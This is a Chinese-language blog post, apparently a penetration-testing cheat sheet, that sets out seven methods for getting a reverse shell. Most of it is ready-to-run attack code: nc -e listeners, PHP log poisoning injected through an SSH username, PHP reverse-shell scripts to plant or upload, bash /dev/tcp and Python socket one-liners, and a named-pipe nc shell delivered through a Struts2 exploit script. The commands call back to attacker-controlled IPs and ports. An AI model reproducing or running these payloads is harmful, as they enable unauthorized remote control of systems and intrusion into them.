反shell方法

反shell方法

shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)”

方法一 利用nc完成反shell 适用webshell

适用于对方网页有webshell

  1. kali先开启nc端口监听

    nc -lvvp 监听端口

  2. 让对方电脑里的nc一启动就自动连接

    /bin/nc -e /bin/bash 自己ip 监听的端口号

方法二 php利用登录日志植入反shell脚本 适用对方html语句有函数调用

  1. F12查看是否有函数调用或者收集信息找到对方的用户名在url框php后门输入?+猜想的用户名=命令或文件+挨个试如果

    如果元素页显示就说明有这个功能
    在这里插入图片描述

  2. 使用var/log/auth.log查看日志

  3. 存在登录日志就在kali里执行ssh远程登录脚本

    ssh '<?php system($_GET['用户名']);? >'@对方IP -p 对方ssh端口号

  4. kali开启nc监听nc -lvvp 端口号

  5. 在url里输入

    (http://10.9.47.172(对方ip)/info.php?zc=/var/log/auth.log&xl(调用我方植入的函数)=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.47.187",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);')

  6. 就可以反shell

方法三 网页后台有php源码利用php反shell脚本

<?php $ip='10.9.47.187'; $port=10002; $sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process); ?>

  1. 在网页的后台源码里放入这个脚本

  2. 在nc里开启脚本里的端口

  3. 在url框运行这个脚本

    such as :themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/在此路径下写入php脚本然后再搜索框里运行

方法四 php文件上传反shell

  1. 上传php反shell脚本
  <?php
   $ip='kali IP';
   $port=10002;
   $sock = fsockopen($ip, $port);
   $descriptorspec = array(
   0 => $sock,
   1 => $sock,
   2 => $sock
   );
   $process = proc_open('/bin/sh', $descriptorspec, $pipes);
   proc_close($process);>

上面不能用就用下面

   <?php
$sock = fsockopen("10.4.7.3", "10002");

$descriptorspec = array(

        0 => $sock,

        1 => $sock,

        2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);
?>
  1. 在源代码中找到这个脚本复制链接在浏览器里打开就会运行此代码,kali开启nc监听就可以

    在这里插入图片描述

方法五 最常用的bash -c 'bash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1'

这是最常用的反shell

这个是url编码后的

bash±c+%27bash±i+%3e%26+%2fdev%2ftcp%2f自己ip%2f监听端口+0%3e%261%27

配合nc一起用

方法六 python shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.182.36",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.7.3",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

方法七管道通信

先在tmp下创建一个管道文件

mknod /tmp/文件名 p

在用shell命令连接

/bin/sh 0</tmp/文件名 | nc ip port 1>/tmp/文件名

示例

python2 exploit.py "http://192.168.182.64:8080/struts2-showcase/showcase.action" "/bin/sh 0</tmp/gd | nc 192.168.182.36 10002 1>/tmp/gd"

http://192.168.182.64:8080/struts2-showcase/showcase.action" “/bin/sh 0</tmp/gd | nc 192.168.182.36 10002 1>/tmp/gd”`

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值